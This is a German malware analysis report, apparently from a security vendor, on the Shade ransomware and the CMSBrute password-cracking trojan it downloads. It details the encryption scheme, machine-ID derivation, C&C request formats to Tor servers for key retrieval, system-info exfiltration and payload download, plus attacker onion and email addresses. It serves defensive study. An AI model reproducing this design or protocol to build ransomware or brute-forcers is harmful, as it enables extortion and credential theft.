Verschlüsselungs-Malware Shade: eine Doppelbedrohung

Inhalt

Der Dateiname ändert sich mit jeder Versendung und mögliche Varianten können von den oben aufgezählten abweichen.

Die zweite Verbreitungsmethode (Exploit-Kit) ist gefährlicher, da die Infektion ohne Wissen des Anwenders erfolgt, und zwar wenn das Opfer eine kompromittierte Website besucht. Dabei kann es sich um eine Site der Cyberkriminellen, aber auch um eine absolut legale, jedoch gehackte Ressource handeln. In den meisten Fällen ist dem Nutzer nicht bewusst, dass die Site auf irgendeine Weise eine Gefahr darstellt. Der Schadcode auf der Website nutzt eine Sicherheitslücke im Browser oder in seinen Plugins aus, woraufhin der Zieltrojaner unbemerkt im System installiert wird. Im Gegensatz zu der Spam-Methode muss das Opfer in diesem Fall noch nicht einmal eine ausführbare Datei starten.

Nachdem Trojan-Ransom.Win32.Shade in das System eingedrungen ist, verbindet sich der Schädling mit dem C&C, der im anonymen Netzwerk Tor beherbergt ist, berichtet über die Infektion und erbittet den öffentlichen RSA-3072-Schlüssel, der in der Folge bei der Verschlüsselung von Dateien zum Einsatz kommt (wie das genau funktioniert, berichten wir später). Sollte keine Verbindung zustande kommen, wählt der Schädling einen von 100 öffentlichen Schlüsseln, die sich für genauso einen Fall in seinem Körper befinden.

Daraufhin macht sich der Trojaner an die Chiffrierung der Dateien. Bei der Suche nach zu verschlüsselnden Objekten verwendet er eine statische Liste von Erweiterungen, so wie auf dem folgenden Screenshot dargestellt.

Verschlüsselungs-Malware Shade: eine Doppelbedrohung

Ist die Chiffrierung abgeschlossen, erscheint auf dem Bildschirm das folgende Bild:

Verschlüsselungs-Malware Shade: eine Doppelbedrohung

Die Bedingungen der Erpresser sind in den Dateien README1.txt, …, README10.txt hinterlegt. Ihr Inhalt sieht immer gleich aus:

Verschlüsselungs-Malware Shade: eine Doppelbedrohung

Doch im Gegensatz zu den meisten anderen erpresserischen Verschlüsslungsprogrammen ist bei Trojan-Ransom.Win32.Shade hier keinesfalls Schluss. Er beendet seinen Prozess nicht, sondern startet eine Endlosschleife, in der er beim C&C die Adressliste der übrigen Schadsoftware anfragt und daraufhin diese Malware im System startet – eine solche Funktionalität ist für Downloader-Bots charakteristisch. Wir konnten feststellen, dass Vertreter der folgenden Familien heruntergeladen werden:

  • Trojan.Win32.CMSBrute (über diesen Schädling wird im Folgenden noch ausführlicher berichtet).
  • Trojan.Win32.Muref
  • Trojan.Win32.Kovter
  • Trojan-Downloader.Win32.Zemot

Hier der Code der Download- und Warteschleife:

Verschlüsselungs-Malware Shade: eine Doppelbedrohung

Wird die Verschlüsselungs-Malware Shade auf dem Computer gefunden (oder irgendwelche Folgen ihrer Aktivität, d.h. Dateien mit den Erweiterungen.xtbl, .ytbl), ist es wichtig, einen vollständigen Virenscan durchzuführen. Wird das System nicht desinfiziert, ist die Wahrscheinlichkeit hoch, dass es von verschiedenen unterschiedlichen Schadprogrammen befallen bleibt, die von dem Verschlüsselungsprogramm geladen werden.

Allgemeine Merkmale von Trojanern der Familie Shade

  • Programmiert in C++ unter Verwendung von STL und eigener Klassen.
  • Statisch verlinkt mit Tor-Client.
  • Verwendet Bibliotheken von boost (threads), curl, OpenSSL.
  • In jedes Sample ist die Adresse eines C&C-Servers „eingeschweißt“, in verschiedenen Samples wurden insgesamt die Adressen von 10 C&C-Servern gefunden, von denen 8 zum gegenwärtigen Zeitpunkt aktiv sind. Alle Server befinden sich im Netzwerk Tor.
  • Alle Strings, die (wie die Namen der zu importierenden Funktionen) mit dem Algorithmus AES verschlüsselt sind, werden beim Start des Programms dechiffriert, woraufhin ein dynamisches Ausfüllen der Importtabelle erfolgt.
  • Vor Installation seiner Hintergrundbilder speichert der Schädling die alten in der Registry.
  • Normalerweise mit UPX und einem zusätzlichen Packer gepackt, hat in entpackter Form eine Größe von 1817 KB.
  • Erstellt auf einem infizierten Computer 10 gleichartige Dateien README1.txt, … README10.txt mit den Lösegeldforderungen in russischer und englischer Sprache.
  • Für die Verschlüsselung des Inhalts jeder Datei und jedes Dateinamens werden einmalige 256-Bit AES-Schlüssel generiert, die Verschlüsselung erfolgt im CBC-Modus mit Null-Anfangsvektor.
  • Enthält 100 öffentliche RSA-3072-Schlüssel mit dem öffentlichen Exponenten 65537 (in allen unterschiedlichen Samples wurden insgesamt 300 verschiedene öffentliche Schlüssel entdeckt).
  • Verfügt über die Funktionalität, Schadsoftware zu laden und zu starten.

Kryptografisches Schema

Erstellung einer ID für einen infizierten Computer

  1. Der Trojaner erhält den Namen des Computers (comp_name) mit Hilfe der API-Funktion GetComputerName und die Zahl der Prozessoren (num_cpu) mit Hilfe der API-Funktion GetSystemInfo;
  2. auf der Grundlage der Seriennummer des System-Bands wird eine 32-Bit-Konstante errechnet und in einen hex-String (vol_const) konvertiert;
  3. erhält Daten über die Betriebssystemversion (os_version), die durch die Zeichen „;“ voneinander abgetrennt werden (zum Beispiel „5;1;2600;1;Service Pack 3“);
  4. erstellt den String comp_namenum_cpuvol_constos_version;
  5. ermittelt die MD5 dieses Strings;
  6. konvertiert den MD5-Hash in einen hex-String und entnimmt daraus die ersten 20 Symbole. Diese Zeichenkombination wird dann als ID des Computers verwendet.

Erhalt der Schlüsseldaten

Nach Erstellung der ID wird versucht, eine Verbindung zum C&C-Server herzustellen, der sich im Netzwerk Tor befindet, um ihm die ID des Computers zu senden und im Gegenzug einen öffentlichen RSA-Schlüssel zu erhalten. Klappt das nicht, wird einer der 100 im Trojaner enthaltenen öffentlichen RSA-Schlüssel gewählt.

Verschlüsselung der Dateien

Für die Verschlüsselung von Dateien wird der Algorithmus AES-256 im CBC-Modus verwendet. Für jede zu chiffrierende Datei werden zwei zufällige 256-Bit-AES-Schlüssel generiert: Einer wird für die Verschlüsselung des Dateiinhalts benutzt, der zweite für die Verschlüsselung des Dateinamens. Diese Schlüssel werden in der Dienststruktur key_data untergebracht, die selbst mit einem ausgewählten RSA-Schlüssel chiffriert wird (belegt nach Entschlüsselung 384 Byte) und am Ende der zu kodierenden Datei platziert:

Verschlüsselungs-Malware Shade: eine Doppelbedrohung

In der Syntax von C lässt sich diese Struktur folgendermaßen darstellen:

Verschlüsselungs-Malware Shade: eine Doppelbedrohung

Der Trojaner versucht die kodierte Datei umzubenennen, indem er als neuen Namen das Ergebnis der Berechnung von Base64(AES_encrypt(original Dateiname)).xtbl wählt (beispielsweise ArSxrr+acw970LFQw.xtbl). Funktioniert das nicht, hängt er an den Originalnamen einfach die Erweiterung .ytbl. In späteren Versionen wird vor die Erweiterung .xtbl die ID des infizierten Computers gesetzt, beispielsweise: ArSxrr+acw970LFQw.043C17E72A1E91C6AE29.xtbl.

Kommunikation mit dem Steuerungsserver

Der Körper des Trojaners enthält die Adresse eines C&C-Servers. Die Server selbst befinden sich im Netzwerk Tor, die Kommunikation mit ihnen wird unter Verwendung eines statisch mit dem Trojaner verlinkten Tor-Clients umgesetzt.

Das Sample sendet die folgenden Anfragen an den Steuerungsserver:

  1. Anfrage nach einem neuen öffentlichen RSA-Schlüssel:
    GET http://<server>.onion/reg.php?i=ID&b=build&v=version&ss=stage
    ID – Identifikator eines infizierten Computers;
    build – Identifikator eines konkreten Samples des Schädlings;
    version – Version des Schädlings, gefunden wurden die Versionen 1 und 2;
    stage definiert die Verschlüsselungsetappe – Anfrage nach einem neuen öffentlichen RSA-Schlüssel oder Benachrichtigung über den Abschluss der Dateiverschlüsselung.

  2. Fehlermeldung:
    GET http://<server>.onion/err.php?i=ID&b=build&v=version&err=error
    error – base64-verschlüsselte Meldung über einen bei der Chiffrierung aufgetretenen Fehler.

  3. Bericht über das aktuelle Arbeitsstadium des Verschlüsselungsprogramms:
    GET http://<server>.onion/prog.php?i=ID&b=build&v=version&ss=stage&c=count&f=finish
    count – aktuelle Anzahl bereits verschlüsselter Dateien;
    finish – Kennzeichnung des Verschlüsselungsabschlusses.

  4. Informationen über das System:
    POST http://<server>.onion/sys.php?i=ID&b=build&v=version&ss=stage&c=count&k=key_number&si=info
    key_number – Nummer des ausgewählten RSA-Schlüssels (wenn der Schlüssel nicht vom Server erhalten, sondern aus denen im Körper des Schädlings enthaltenen ausgewählt wurde);
    info – vom infizierten Computer erhaltene Informationen:

    • Name des Computers
    • Name des Anwenders
    • IP-Adresse
    • Domain des Computers
    • Liste der logischen Laufwerke
    • Windows-Version
    • Liste der installierten Software
  5. Anfrage nach der Liste der URL-Adressen, von denen zusätzliche Schadsoftware geladen und gestartet werden soll:
    GET<server>.onion/cmd.php?i=ID&b=build&v=version

Verbreitung des Verschlüsselers

Partnerprogramm

Der Code, den die Anwender den Cyberkriminellen per E-Mail schicken sollen, kann folgendermaßen aussehen: ID|0 und zwar, wenn der öffentliche Schlüssel vom C&C-Server empfangen wurde, oder ID|key_number|build|version, wenn einer der im Sample enthaltenen öffentlichen RSA-Schlüssel mit der Nummer key_number gewählt wurde. ID ist die Identifikation des infizierten Computers, und die beiden Zahlen build und version sind die ID des konkreten Samples und die Version des Verschlüsselungsprogramms selbst.

Bei der Analyse der Schädlingssamples entdeckten wir verschiedene Kombinationen der build-Werte, der E-Mail-Adressen für die Kommunikation der Anwender mit den Cyberkriminellen und der C&C-Adressen. Verschiedenen build-Werten entsprechen verschiedene E-Mail-Adressen, wobei ein und dasselbe C&C für mehrere verschiedene Samples zuständig sein kann:

build C&C E-Mail-Adresse
2 a4yhexpmth2ldj3v.onion files1147@gmail.com
post100023@gmail.com
2 a4yhexpmth2ldj3v.onion decode0987@gmail.com
decode098@gmail.com
4 a4yhexpmth2ldj3v.onion decodefile001@gmail.com
decodefile002@gmail.com
6 a4yhexpmth2ldj3v.onion files08880@gmail.com
files08881@gmail.com
2 e4aibjtrguqlyaow.onion decodefiles1@gmail.com
decodefiles@india.com
15 e4aibjtrguqlyaow.onion post8881@gmail.com
post24932@gmail.com
12 gxyvmhc55s4fss2q.onion decode00001@gmail.com
decode00002@gmail.com
14 gxyvmhc55s4fss2q.onion decode010@gmail.com
decode1110@gmail.com
4 gxyvmhc55s4fss2q.onion deshifrovka01@gmail.com
deshifrovka@india.com

Wir registrierten die Verbreitung verschiedener Samples zweier Versionen der Verschlüsselungssoftware. Dabei entsprach jedem konkreten Sample ein und derselben Version eine einmalige Kombination build-E-Mail-Adresse (ID des konkreten Samples und Adresse zur Kontaktaufnahme mit den Cyberkriminellen).

Auch wenn keine Belege für eine Partnerschaft gefunden wurden, ist auf Basis dieser Daten zu vermuten, dass die Verbreitung des Trojaners und der Empfang des Lösegelds über ein Partnernetzwerk realisiert wird. Es ist möglich, dass die ID der Samples (der Wert von build) und die unterschiedlichen E-Mail-Adressen zu verschiedenen Partnern gehören, die diese Schadsoftware in Umlauf bringen.

Geografie

Die meisten Fälle von Infektionen mit diesem Trojaner wurden auf dem Gebiet Russland, der Ukraine und Deutschlands registriert. Laut Daten des KSN stellt sich die Verbreitungsgeografie von Trojan-Ransom.Win32.Shade folgendermaßen dar:

Verschlüsselungs-Malware Shade: eine Doppelbedrohung

Russland 70,88%
Deutschland 8,42%
Ukraine 6,48%
Österreich 3,91%
Schweiz 2,98%
Polen 1,45%
Kasachstan 1,20%
Weißrussland 1,07%
Brasilien 0,55%

Zu ladende Malware: Bruteforce-Trojaner für Website-Passwörter

Unter den Schadprogrammen, die Trojan-Ransom.Win32.Shade auf das System lädt, befindet sich auch ein Trojaner zum Knacken von Passwörtern zu Websites mittels der Brute-Force-Methode. Seiner internen Struktur nach erinnert dieser „Bruteforcer“ sehr an das Verschlüsselungsprogramm selbst – es ist überaus wahrscheinlich, dass dieses Projekt aus der Feder derselben Autoren stammt. Der zu ladende Trojaner erhielt die Bezeichnung Trojan.Win32.CMSBrute.

Allgemeine Merkmale der Familie CMSBrute

  1. Programmiert in C++ unter Verwendung von STL und eigener Klassen.
  2. Statisch verlinkt mit Tor-Client.
  3. Verwendet Bibliotheken von boost (threads), curl, OpenSSL.
  4. In jedes Sample ist die Adresse eines C&C-Servers „eingeschweißt“, in verschiedenen Samples wurden insgesamt die Adressen von drei C&C-Servern gefunden. Alle Steuerungsserver befinden sich im Netzwerk Tor, sie unterscheiden sich von den Adressen, die in den Samples von Trojan-Ransom.Win32.Shade gefunden wurden.
  5. Alle Strings, die (wie die Namen der zu importierenden Funktionen) mit dem Algorithmus AES verschlüsselt sind, werden beim Start des Programms dechiffriert, woraufhin ein dynamisches Ausfüllen der Importtabelle erfolgt.
  6. Normalerweise mit UPX gepackt, hat in entpackter Form eine Größe von 2080-2083 KB.
  7. Kopiert sich selbst in ein Verzeichnis auf der Festplatte C mit dem Namen csrss.exe.
  8. Lädt zusätzliche Plugin-dll. Die Plugins enthalten den Code für die Bestimmung des auf der anzugreifenden Website installierten Content Management Systems (CMS), für die Suche nach der Verwaltungskonsole und zum Sammeln von Passwörtern. Es wurden Plugins gefunden, die Websites auf der Basis von Joomla, WordPress und DataLife Engine unterstützen.

Kommunikation mit dem Steuerungsserver

In jedem Sample von Trojan.Win32.CMSBrute ist die Adresse eines C&C-Servers enthalten. Die Server befinden sich im Netzwerk Tor, die Kommunikation mit ihnen wird unter Verwendung eines statisch mit dem Trojaner verlinkten Tor-Clients umgesetzt.

Das Sample sendet die folgenden Anfragen an den C&C-Server:

  1. Registrierung eines neuen Bots:
    GET http://<server>.onion/reg.php?n=ID&b=build&v=version&sf=stage
    ID – Identifikator des infizierten Computers; wird mit einem Algorithmus berechnet, der sich nur unwesentlich von dem unterscheidet, der vom Verschlüsselungsprogramm Shade verwendet wird;
    build – Identifikator des konkreten Schädlingssamples; gefunden wurde nur build 1;
    version – Version des Schädlings; gefunden wurde nur Version 1;
    stage – Arbeitsetappe des Trojaners.

  2. Anfrage nach Erhalt der URL-Adressen zum Download oder zur Aktualisierung der Plugin-dll
    GET http://<server>.onion/upd.php?n=ID&b=build&v=version&p=plugins

  3. Anfrage nach Bestimmung des CMS auf der Website und Überprüfung der Login-Daten und der Passwörter:
    GET http://<server>.onion/task.php?n=ID&b=build&v=version&p=plugins
    plugins – Versionen der installierten Plugin-dll.
    Die Antwort vom Server erfolgt im Format json und enthält die Adressen der anzugreifenden Websites und ein Wörterbuch zum Knacken der Passwörter.

  4. Versendung des Berichts über den Einsatz der Brute-Force-Methode:
    POST http://<server>.onion/rep.php?n=ID&b=build&v=version&rep=report
    report – json-String, der den Bericht über die auf der Website gefundenen СMS und die von der Verwaltungskonsole abgegriffenen Anmeldedaten und Passwörter enthält.

Empfehlungen

Auch im Fall von Trojan-Ransom.Win32.Shade gelten alle bereits traditionell zu nennenden Empfehlungen bezüglich der Abwehr von Verschlüsselungssoftware. Genaue Instruktionen finden Sie unter den folgenden Adressen:
http://support.kaspersky.com/de/12015
http://support.kaspersky.com/viruses/common/10952

Wurde der Computer bereits von diesem Trojaner befallen, müssen unbedingt ein vollständiger Scan und eine Desinfektion mit einem Antiviren-Produkt durchgeführt werden, da Trojan-Ransom.Win32.Shade Schadsoftware aus mehreren Familien, die eingangs aufgeführt wurden, auf ein kompromittiertes System lädt und dort installiert.

Anhang

Im Rahmen des vorliegenden Berichts wurden die folgenden Samples untersucht:

Name MD5
Trojan-Ransom.Win32.Shade.ub 21723762c841b2377e06472dd9691da2
Trojan-Ransom.Win32.Shade.ui bb159b6fe30e3c914feac5d4e1b85a61
Trojan.Win32.CMSBrute.a 543d1620ce976cb13fec190ccc1bc83a

Ähnliche Beiträge

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.